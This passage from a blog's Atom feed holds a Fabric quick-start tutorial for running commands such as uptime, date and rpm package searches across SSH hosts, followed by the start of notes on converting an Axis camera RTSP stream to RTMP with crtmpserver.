<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

  <title><![CDATA[Computerglitch]]></title>
  <link href="http://www.computerglitch.net/blog/atom.xml" rel="self"/>
  <link href="http://www.computerglitch.net/blog/"/>
  <updated>2014-05-02T08:10:53-04:00</updated>
  <id>http://www.computerglitch.net/blog/</id>
  <author>
    <name><![CDATA[Robbie Reese]]></name>
    
  </author>
  <generator uri="http://octopress.org/">Octopress</generator>

  
  <entry>
    <title type="html"><![CDATA[Fabric Quick Start]]></title>
    <link href="http://www.computerglitch.net/blog/blog/2014/05/01/fabric-quick-start/"/>
    <updated>2014-05-01T14:19:00-04:00</updated>
    <id>http://www.computerglitch.net/blog/blog/2014/05/01/fabric-quick-start</id>
    <content type="html"><![CDATA[<p><img class="center" src="http://cdn.computerglitch.net/images/python-fabric.png"></p>

<p>Sometimes I need to use a one-off command for a simple task and end up wrapping the command in a for loop, calling ssh, and running the command over a few hosts. While this works great in a pinch, if I find myself using the same loop over and over I&#8217;ll create a new definition in Fabric.</p>

<p>If you&#8217;re unfamiliar with Fabric this post attempts to get you up to speed with the basics on how to use Fabric. First lets get Fabric installed.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">apt</span><span class="o">-</span><span class="n">get</span> <span class="n">install</span> <span class="n">gcc</span> <span class="n">python</span><span class="o">-</span><span class="n">setuptools</span> <span class="n">python</span><span class="o">-</span><span class="n">crypto</span>
</span><span class='line'><span class="n">easy_install</span> <span class="n">pip</span>
</span><span class='line'><span class="n">pip</span> <span class="n">install</span> <span class="n">fabric</span>
</span></code></pre></td></tr></table></div></figure>


<p>Fabric uses <a href="http://www.paramiko.org/">Paramiko</a> which is a Python interface for SSH. In the example fabfile below I&#8217;ll be logging into remote nodes over SSH so make sure you have your key-based or host-based authentication in place.</p>

<p>At this point we can create our first fabfile. I&#8217;m going to show you two basic but powerful features to get you started on your first fabfile. From this framework you should be able to start building a very nice fabfile to manage your nodes!</p>

<p>The beauty of Fabric is that it&#8217;s &#8220;just Python&#8221; so you&#8217;re free to do what you want with your fabfile.</p>

<!-- more -->


<p>Here is a basic fabfile with complete comments:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="cp">#!/usr/bin/env python</span>
</span><span class='line'>
</span><span class='line'><span class="cp">#import the fabric API</span>
</span><span class='line'><span class="n">from</span> <span class="n">fabric</span><span class="p">.</span><span class="n">api</span> <span class="n">import</span> <span class="o">*</span>
</span><span class='line'>
</span><span class='line'><span class="cp">#Function to define a range of nodes with prefix and number range</span>
</span><span class='line'><span class="cp">#Example usage: nodes(&quot;www&quot;, &quot;00&quot;, &quot;20&quot;) would output an array with www-00 - www-19</span>
</span><span class='line'><span class="n">def</span> <span class="n">nodes</span><span class="p">(</span><span class="n">prefix</span><span class="p">,</span> <span class="n">r1</span><span class="p">,</span> <span class="n">r2</span><span class="p">)</span><span class="o">:</span>
</span><span class='line'>    <span class="n">nodes</span> <span class="o">=</span> <span class="p">[]</span>
</span><span class='line'>    <span class="k">for</span> <span class="n">nodenumber</span> <span class="k">in</span> <span class="n">range</span> <span class="p">(</span><span class="kt">int</span><span class="p">(</span><span class="n">r1</span><span class="p">),</span><span class="kt">int</span><span class="p">(</span><span class="n">r2</span><span class="p">))</span><span class="o">:</span>
</span><span class='line'>        <span class="n">nodes</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">prefix</span> <span class="o">+</span> <span class="sc">&#39;-&#39;</span> <span class="o">+</span> <span class="n">str</span><span class="p">(</span><span class="n">nodenumber</span><span class="p">).</span><span class="n">zfill</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
</span><span class='line'>    <span class="k">return</span> <span class="n">nodes</span>
</span><span class='line'>
</span><span class='line'><span class="cp">#Don&#39;t brick the program on commands that return nonzero on run commands</span>
</span><span class='line'><span class="cp">#More info here: http:</span><span class="c1">//docs.fabfile.org/en/1.4.1/usage/execution.html#failure-handling</span>
</span><span class='line'><span class="n">env</span><span class="p">.</span><span class="n">warn_only</span><span class="o">=</span><span class="n">True</span>
</span><span class='line'>
</span><span class='line'><span class="cp">#Example of using Roles to define subsets of nodes</span>
</span><span class='line'><span class="n">env</span><span class="p">.</span><span class="n">roledefs</span> <span class="o">=</span> <span class="p">{</span>
</span><span class='line'>   <span class="err">&#39;</span><span class="n">web_nodes</span><span class="err">&#39;</span> <span class="o">:</span> <span class="p">[</span> <span class="err">&#39;</span><span class="n">www</span><span class="o">-</span><span class="mo">00</span><span class="err">&#39;</span><span class="p">,</span> <span class="err">&#39;</span><span class="n">www</span><span class="o">-</span><span class="mo">01</span><span class="err">&#39;</span><span class="p">,</span> <span class="err">&#39;</span><span class="n">www</span><span class="o">-</span><span class="mo">02</span><span class="err">&#39;</span> <span class="p">],</span>
</span><span class='line'>   <span class="err">&#39;</span><span class="n">dns_nodes</span><span class="err">&#39;</span> <span class="o">:</span> <span class="p">[</span> <span class="err">&#39;</span><span class="n">dns</span><span class="o">-</span><span class="mo">00</span><span class="err">&#39;</span><span class="p">,</span> <span class="err">&#39;</span><span class="n">dns</span><span class="o">-</span><span class="mo">01</span><span class="err">&#39;</span> <span class="p">],</span>
</span><span class='line'>   <span class="err">&#39;</span><span class="n">gph_nodes</span><span class="err">&#39;</span> <span class="o">:</span> <span class="n">nodes</span><span class="p">(</span><span class="err">&#39;</span><span class="n">graphic</span><span class="err">&#39;</span><span class="p">,</span> <span class="err">&#39;</span><span class="mo">00</span><span class="err">&#39;</span><span class="p">,</span> <span class="err">&#39;</span><span class="mi">14</span><span class="err">&#39;</span><span class="p">)</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'><span class="err">@</span><span class="n">roles</span><span class="p">(</span><span class="err">&#39;</span><span class="n">web_nodes</span><span class="err">&#39;</span><span class="p">)</span>
</span><span class='line'><span class="n">def</span> <span class="n">webUptime</span><span class="p">()</span><span class="o">:</span>
</span><span class='line'>    <span class="n">run</span><span class="p">(</span><span class="err">&#39;</span><span class="n">uptime</span><span class="err">&#39;</span><span class="p">)</span>
</span><span class='line'><span class="err">@</span><span class="n">roles</span><span class="p">(</span><span class="err">&#39;</span><span class="n">dns_nodes</span><span class="err">&#39;</span><span class="p">)</span>
</span><span class='line'><span class="n">def</span> <span class="n">dnsDate</span><span class="p">()</span><span class="o">:</span>
</span><span class='line'>    <span class="n">run</span><span class="p">(</span><span class="err">&#39;</span><span class="n">date</span><span class="err">&#39;</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="cp">#Example that can be called by: fab -H host1,host2,host3 nodePackageSearch:package=httpd</span>
</span><span class='line'><span class="n">def</span> <span class="n">nodePackageSearch</span><span class="p">(</span><span class="n">package</span><span class="o">=</span><span class="err">&#39;&#39;</span><span class="p">)</span><span class="o">:</span>
</span><span class='line'>    <span class="n">run</span><span class="p">(</span><span class="err">&#39;</span><span class="n">rpm</span> <span class="o">-</span><span class="n">qa</span> <span class="o">|</span> <span class="n">grep</span> <span class="o">%</span><span class="n">s</span><span class="err">&#39;</span> <span class="o">%</span> <span class="n">package</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure>


<p>Lets break this fabfile down. I first have a function that allows us to create a range of nodes. This function will be helpful later when we are defining node roles.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">def</span> <span class="n">nodes</span><span class="p">(</span><span class="n">prefix</span><span class="p">,</span> <span class="n">r1</span><span class="p">,</span> <span class="n">r2</span><span class="p">)</span><span class="o">:</span>
</span><span class='line'>    <span class="n">nodes</span> <span class="o">=</span> <span class="p">[]</span>
</span><span class='line'>    <span class="k">for</span> <span class="n">nodenumber</span> <span class="k">in</span> <span class="n">range</span> <span class="p">(</span><span class="kt">int</span><span class="p">(</span><span class="n">r1</span><span class="p">),</span><span class="kt">int</span><span class="p">(</span><span class="n">r2</span><span class="p">))</span><span class="o">:</span>
</span><span class='line'>        <span class="n">nodes</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">prefix</span> <span class="o">+</span> <span class="sc">&#39;-&#39;</span> <span class="o">+</span> <span class="n">str</span><span class="p">(</span><span class="n">nodenumber</span><span class="p">).</span><span class="n">zfill</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
</span><span class='line'>    <span class="k">return</span> <span class="n">nodes</span>
</span></code></pre></td></tr></table></div></figure>


<p>Next, I&#8217;m defining roles for my nodes and assigning my nodes to those roles. As you can see this is where the nodes function defined earlier will come in handy.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">env</span><span class="p">.</span><span class="n">roledefs</span> <span class="o">=</span> <span class="p">{</span>
</span><span class='line'>   <span class="err">&#39;</span><span class="n">web_nodes</span><span class="err">&#39;</span> <span class="o">:</span> <span class="p">[</span> <span class="err">&#39;</span><span class="n">www</span><span class="o">-</span><span class="mo">00</span><span class="err">&#39;</span><span class="p">,</span> <span class="err">&#39;</span><span class="n">www</span><span class="o">-</span><span class="mo">01</span><span class="err">&#39;</span><span class="p">,</span> <span class="err">&#39;</span><span class="n">www</span><span class="o">-</span><span class="mo">02</span><span class="err">&#39;</span> <span class="p">],</span>
</span><span class='line'>   <span class="err">&#39;</span><span class="n">dns_nodes</span><span class="err">&#39;</span> <span class="o">:</span> <span class="p">[</span> <span class="err">&#39;</span><span class="n">dns</span><span class="o">-</span><span class="mo">00</span><span class="err">&#39;</span><span class="p">,</span> <span class="err">&#39;</span><span class="n">dns</span><span class="o">-</span><span class="mo">01</span><span class="err">&#39;</span> <span class="p">],</span>
</span><span class='line'>   <span class="err">&#39;</span><span class="n">gph_nodes</span><span class="err">&#39;</span> <span class="o">:</span> <span class="n">nodes</span><span class="p">(</span><span class="err">&#39;</span><span class="n">gtnode</span><span class="err">&#39;</span><span class="p">,</span> <span class="err">&#39;</span><span class="mo">00</span><span class="err">&#39;</span><span class="p">,</span> <span class="err">&#39;</span><span class="mi">14</span><span class="err">&#39;</span><span class="p">)</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>Now we can assign functions to our roles. In this example I&#8217;m getting the uptime on all of my web nodes, and I have another function that allows me to get the date on all of my dns servers.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="err">@</span><span class="n">roles</span><span class="p">(</span><span class="err">&#39;</span><span class="n">web_nodes</span><span class="err">&#39;</span><span class="p">)</span>
</span><span class='line'><span class="n">def</span> <span class="n">webUptime</span><span class="p">()</span><span class="o">:</span>
</span><span class='line'>    <span class="n">run</span><span class="p">(</span><span class="err">&#39;</span><span class="n">uptime</span><span class="err">&#39;</span><span class="p">)</span>
</span><span class='line'><span class="err">@</span><span class="n">roles</span><span class="p">(</span><span class="err">&#39;</span><span class="n">dns_nodes</span><span class="err">&#39;</span><span class="p">)</span>
</span><span class='line'><span class="n">def</span> <span class="n">dnsDate</span><span class="p">()</span><span class="o">:</span>
</span><span class='line'>    <span class="n">run</span><span class="p">(</span><span class="err">&#39;</span><span class="n">date</span><span class="err">&#39;</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure>


<p>Finally, I have a function that allows me to query nodes for a specific from the command line.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">def</span> <span class="n">nodePackageSearch</span><span class="p">(</span><span class="n">package</span><span class="o">=</span><span class="err">&#39;&#39;</span><span class="p">)</span><span class="o">:</span>
</span><span class='line'>    <span class="n">run</span><span class="p">(</span><span class="err">&#39;</span><span class="n">rpm</span> <span class="o">-</span><span class="n">qa</span> <span class="o">|</span> <span class="n">grep</span> <span class="o">%</span><span class="n">s</span><span class="err">&#39;</span> <span class="o">%</span> <span class="n">package</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure>


<p>To run Fabric use the command <code>fab</code> in the same directory as your fabfile (or use -f and specify the path to your fabfile).</p>

<p>To get the list commands available from our fabfile you can use <code>fab -l</code> which will return:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">Available</span> <span class="nl">commands:</span>
</span><span class='line'>
</span><span class='line'>    <span class="n">dnsDate</span>
</span><span class='line'>    <span class="n">nodePackageSearch</span>
</span><span class='line'>    <span class="n">nodes</span>
</span><span class='line'>    <span class="n">webUptime</span>
</span></code></pre></td></tr></table></div></figure>


<p>So to get the uptime on all of our web nodes you can simply run <code>fab webUptime</code> which will return results similar to:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="p">[</span><span class="n">www</span><span class="o">-</span><span class="mo">00</span><span class="p">]</span> <span class="n">Executing</span> <span class="n">task</span> <span class="err">&#39;</span><span class="n">webUptime</span><span class="err">&#39;</span>
</span><span class='line'><span class="p">[</span><span class="n">www</span><span class="o">-</span><span class="mo">00</span><span class="p">]</span> <span class="nl">run:</span> <span class="n">uptime</span>
</span><span class='line'><span class="p">[</span><span class="n">www</span><span class="o">-</span><span class="mo">00</span><span class="p">]</span> <span class="nl">out:</span>  <span class="mi">13</span><span class="o">:</span><span class="mi">51</span><span class="o">:</span><span class="mi">13</span> <span class="n">up</span> <span class="mi">1</span> <span class="n">day</span><span class="p">,</span> <span class="mi">18</span><span class="o">:</span><span class="mi">30</span><span class="p">,</span>  <span class="mi">1</span> <span class="n">user</span><span class="p">,</span>  <span class="n">load</span> <span class="nl">average:</span> <span class="mf">0.00</span><span class="p">,</span> <span class="mf">0.00</span><span class="p">,</span> <span class="mf">0.00</span>
</span><span class='line'><span class="p">[</span><span class="n">www</span><span class="o">-</span><span class="mo">00</span><span class="p">]</span> <span class="nl">out:</span>
</span><span class='line'>
</span><span class='line'><span class="p">[</span><span class="n">www</span><span class="o">-</span><span class="mo">01</span><span class="p">]</span> <span class="n">Executing</span> <span class="n">task</span> <span class="err">&#39;</span><span class="n">webUptime</span><span class="err">&#39;</span>
</span><span class='line'><span class="p">[</span><span class="n">www</span><span class="o">-</span><span class="mo">01</span><span class="p">]</span> <span class="nl">run:</span> <span class="n">uptime</span>
</span><span class='line'><span class="p">[</span><span class="n">www</span><span class="o">-</span><span class="mo">01</span><span class="p">]</span> <span class="nl">out:</span>  <span class="mi">13</span><span class="o">:</span><span class="mi">51</span><span class="o">:</span><span class="mi">14</span> <span class="n">up</span> <span class="mi">28</span> <span class="n">days</span><span class="p">,</span> <span class="mi">23</span><span class="o">:</span><span class="mi">08</span><span class="p">,</span> <span class="mi">10</span> <span class="n">users</span><span class="p">,</span>  <span class="n">load</span> <span class="nl">average:</span> <span class="mf">0.00</span><span class="p">,</span> <span class="mf">0.00</span><span class="p">,</span> <span class="mf">0.00</span>
</span><span class='line'><span class="p">[</span><span class="n">www</span><span class="o">-</span><span class="mo">01</span><span class="p">]</span> <span class="nl">out:</span>
</span><span class='line'>
</span><span class='line'><span class="p">[</span><span class="n">www</span><span class="o">-</span><span class="mo">02</span><span class="p">]</span> <span class="n">Executing</span> <span class="n">task</span> <span class="err">&#39;</span><span class="n">webUptime</span><span class="err">&#39;</span>
</span><span class='line'><span class="p">[</span><span class="n">www</span><span class="o">-</span><span class="mo">02</span><span class="p">]</span> <span class="nl">run:</span> <span class="n">uptime</span>
</span><span class='line'><span class="p">[</span><span class="n">www</span><span class="o">-</span><span class="mo">02</span><span class="p">]</span> <span class="nl">out:</span>  <span class="mi">13</span><span class="o">:</span><span class="mi">51</span><span class="o">:</span><span class="mi">14</span> <span class="n">up</span> <span class="mi">28</span> <span class="n">days</span><span class="p">,</span> <span class="mi">23</span><span class="o">:</span><span class="mi">43</span><span class="p">,</span>  <span class="mi">1</span> <span class="n">user</span><span class="p">,</span>  <span class="n">load</span> <span class="nl">average:</span> <span class="mf">0.42</span><span class="p">,</span> <span class="mf">0.56</span><span class="p">,</span> <span class="mf">0.61</span>
</span><span class='line'><span class="p">[</span><span class="n">www</span><span class="o">-</span><span class="mo">02</span><span class="p">]</span> <span class="nl">out:</span>
</span><span class='line'>
</span><span class='line'>
</span><span class='line'><span class="n">Done</span><span class="p">.</span>
</span><span class='line'><span class="n">Disconnecting</span> <span class="n">from</span> <span class="n">www</span><span class="o">-</span><span class="mf">00.</span><span class="p">..</span> <span class="n">done</span><span class="p">.</span>
</span><span class='line'><span class="n">Disconnecting</span> <span class="n">from</span> <span class="n">www</span><span class="o">-</span><span class="mf">01.</span><span class="p">..</span> <span class="n">done</span><span class="p">.</span>
</span><span class='line'><span class="n">Disconnecting</span> <span class="n">from</span> <span class="n">www</span><span class="o">-</span><span class="mf">02.</span><span class="p">..</span> <span class="n">done</span><span class="p">.</span>
</span></code></pre></td></tr></table></div></figure>


<p>If you have a large amount of nodes you will want to use the -P switch to execute your commands in parallel,<code> fab -P dnsDate</code></p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="p">[</span><span class="n">dns</span><span class="o">-</span><span class="mo">00</span><span class="p">]</span> <span class="n">Executing</span> <span class="n">task</span> <span class="err">&#39;</span><span class="n">dnsDate</span><span class="err">&#39;</span>
</span><span class='line'><span class="p">[</span><span class="n">dns</span><span class="o">-</span><span class="mo">01</span><span class="p">]</span> <span class="n">Executing</span> <span class="n">task</span> <span class="err">&#39;</span><span class="n">dnsDate</span><span class="err">&#39;</span>
</span><span class='line'><span class="p">[</span><span class="n">dns</span><span class="o">-</span><span class="mo">01</span><span class="p">]</span> <span class="nl">run:</span> <span class="n">date</span>
</span><span class='line'><span class="p">[</span><span class="n">dns</span><span class="o">-</span><span class="mo">00</span><span class="p">]</span> <span class="nl">run:</span> <span class="n">date</span>
</span><span class='line'><span class="p">[</span><span class="n">dns</span><span class="o">-</span><span class="mo">00</span><span class="p">]</span> <span class="nl">out:</span> <span class="n">Thu</span> <span class="n">May</span>  <span class="mi">1</span> <span class="mi">13</span><span class="o">:</span><span class="mi">57</span><span class="o">:</span><span class="mi">46</span> <span class="n">EDT</span> <span class="mi">2014</span>
</span><span class='line'><span class="p">[</span><span class="n">dns</span><span class="o">-</span><span class="mo">01</span><span class="p">]</span> <span class="nl">out:</span> <span class="n">Thu</span> <span class="n">May</span>  <span class="mi">1</span> <span class="mi">13</span><span class="o">:</span><span class="mi">57</span><span class="o">:</span><span class="mi">46</span> <span class="n">EDT</span> <span class="mi">2014</span>
</span><span class='line'><span class="p">[</span><span class="n">dns</span><span class="o">-</span><span class="mo">00</span><span class="p">]</span> <span class="nl">out:</span>
</span><span class='line'>
</span><span class='line'><span class="p">[</span><span class="n">dns</span><span class="o">-</span><span class="mo">01</span><span class="p">]</span> <span class="nl">out:</span>
</span><span class='line'>
</span><span class='line'>
</span><span class='line'><span class="n">Done</span><span class="p">.</span>
</span></code></pre></td></tr></table></div></figure>


<p>To use our package search function from the command line we can use <code>fab -H node-03,node-04 nodePackageSearch:package=nc-1.84</code> which outputs:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="p">[</span><span class="n">node</span><span class="o">-</span><span class="mo">03</span><span class="p">]</span> <span class="n">Executing</span> <span class="n">task</span> <span class="err">&#39;</span><span class="n">nodePackageSearch</span><span class="err">&#39;</span>
</span><span class='line'><span class="p">[</span><span class="n">node</span><span class="o">-</span><span class="mo">03</span><span class="p">]</span> <span class="nl">run:</span> <span class="n">rpm</span> <span class="o">-</span><span class="n">qa</span> <span class="o">|</span> <span class="n">grep</span> <span class="n">nc</span><span class="o">-</span><span class="mf">1.84</span>
</span><span class='line'><span class="p">[</span><span class="n">node</span><span class="o">-</span><span class="mo">03</span><span class="p">]</span> <span class="nl">out:</span> <span class="n">nc</span><span class="o">-</span><span class="mf">1.84</span><span class="o">-</span><span class="mf">22.</span><span class="n">el6</span><span class="p">.</span><span class="n">x86_64</span>
</span><span class='line'><span class="p">[</span><span class="n">node</span><span class="o">-</span><span class="mo">03</span><span class="p">]</span> <span class="nl">out:</span>
</span><span class='line'>
</span><span class='line'><span class="p">[</span><span class="n">node</span><span class="o">-</span><span class="mo">04</span><span class="p">]</span> <span class="n">Executing</span> <span class="n">task</span> <span class="err">&#39;</span><span class="n">nodePackageSearch</span><span class="err">&#39;</span>
</span><span class='line'><span class="p">[</span><span class="n">node</span><span class="o">-</span><span class="mo">04</span><span class="p">]</span> <span class="nl">run:</span> <span class="n">rpm</span> <span class="o">-</span><span class="n">qa</span> <span class="o">|</span> <span class="n">grep</span> <span class="n">nc</span><span class="o">-</span><span class="mf">1.84</span>
</span><span class='line'><span class="p">[</span><span class="n">node</span><span class="o">-</span><span class="mo">04</span><span class="p">]</span> <span class="nl">out:</span> <span class="n">nc</span><span class="o">-</span><span class="mf">1.84</span><span class="o">-</span><span class="mf">22.</span><span class="n">el6</span><span class="p">.</span><span class="n">x86_64</span>
</span><span class='line'><span class="p">[</span><span class="n">node</span><span class="o">-</span><span class="mo">04</span><span class="p">]</span> <span class="nl">out:</span>
</span><span class='line'>
</span><span class='line'>
</span><span class='line'><span class="n">Done</span><span class="p">.</span>
</span><span class='line'><span class="n">Disconnecting</span> <span class="n">from</span> <span class="n">node</span><span class="o">-</span><span class="mf">04.</span><span class="p">..</span> <span class="n">done</span><span class="p">.</span>
</span><span class='line'><span class="n">Disconnecting</span> <span class="n">from</span> <span class="n">node</span><span class="o">-</span><span class="mf">03.</span><span class="p">..</span> <span class="n">done</span><span class="p">.</span>
</span></code></pre></td></tr></table></div></figure>


<p>As you can see Fabric is a very powerful tool that can be modified for just about any environment.</p>

<p>Official Fabric Tutorial: <a href="http://docs.fabfile.org/en/latest/tutorial.html">http://docs.fabfile.org/en/latest/tutorial.html</a></p>

<p>Official Fabric Documentation: <a href="http://docs.fabfile.org/en/1.8/">http://docs.fabfile.org</a></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Converting Axis RTSP to RTMP Streams]]></title>
    <link href="http://www.computerglitch.net/blog/blog/2014/02/18/converting-axis-rtsp-to-rtmp-streams/"/>
    <updated>2014-02-18T09:20:00-05:00</updated>
    <id>http://www.computerglitch.net/blog/blog/2014/02/18/converting-axis-rtsp-to-rtmp-streams</id>
    <content type="html"><![CDATA[<p>These are some notes I took while integrating a solution providing live streaming of an Axis camera to a media server that converted the stream from rtsp to rtmp and was displayed on a website using flowplayer. The following technologies were used to accomplish this configuration:</p>

<ul>
<li>Axis Camera - <a href="http://www.axis.com/">http://www.axis.com/</a></li>
<li>crtmpserver - <a href="http://www.rtmpd.com/">http://www.rtmpd.com/</a></li>
<li>Flowplayer -  <a href="http://flowplayer.org/">http://flowplayer.org/</a></li>
<li>Flowplayer RTMP - <a href="http://flash.flowplayer.org/plugins/streaming/rtmp.html">http://flash.flowplayer.org/plugins/streaming/rtmp.html</a></li>
</ul>


<p><img class="center" src="http://cdn.computerglitch.net/images/crtmpserver2.jpg"></p>

<!-- more -->


<p>First find the link that displays your cameras rtsp feed. In the case of the axis camera, the feed is located at: <code>rtsp://[ip.add.re.ss]/axis-media/media.amp</code></p>

<p>Once you have your cameras rtsp link you should test to make sure it&#8217;s displaying the feed correctly with something like <a href="http://www.videolan.org/vlc/index.html">VLC</a> and the following command:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">vlc</span> <span class="nl">rtsp:</span><span class="c1">//[ip.add.re.ss]/axis-media/media.amp</span>
</span></code></pre></td></tr></table></div></figure>


<p>Once the feed is verified it&#8217;s time to start working on getting the media server to consume and convert the stream. crtmpserver provides many binaries for various platforms. In this example I&#8217;ll be using the CentOS 6.2 binary build found at: <a href="http://www.rtmpd.com/downloads/">http://www.rtmpd.com/downloads/</a></p>

<p>Extract the binary in /opt and create a symlink</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">cd</span> <span class="o">/</span><span class="n">opt</span>
</span><span class='line'><span class="n">tar</span> <span class="n">xvzf</span> <span class="n">crtmpserver</span><span class="o">-</span><span class="n">version</span><span class="o">-</span><span class="mf">1.1</span><span class="o">-</span><span class="n">tar</span><span class="p">.</span><span class="n">gz</span>
</span><span class='line'><span class="n">ln</span> <span class="o">-</span><span class="n">s</span> <span class="n">crtmpserver</span><span class="o">-</span><span class="n">version</span><span class="o">-</span><span class="mf">1.1</span> <span class="n">crtmpserver</span>
</span></code></pre></td></tr></table></div></figure>


<p>Create a configuration file for the rtsp to rtmp conversion process. Under <code>externalStreams</code> replace the values for <code>uri</code> and <code>localStreamName</code> with the url for your rtsp feed and what you would like to call this feed.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
<span class='line-number'>45</span>
<span class='line-number'>46</span>
<span class='line-number'>47</span>
<span class='line-number'>48</span>
<span class='line-number'>49</span>
<span class='line-number'>50</span>
<span class='line-number'>51</span>
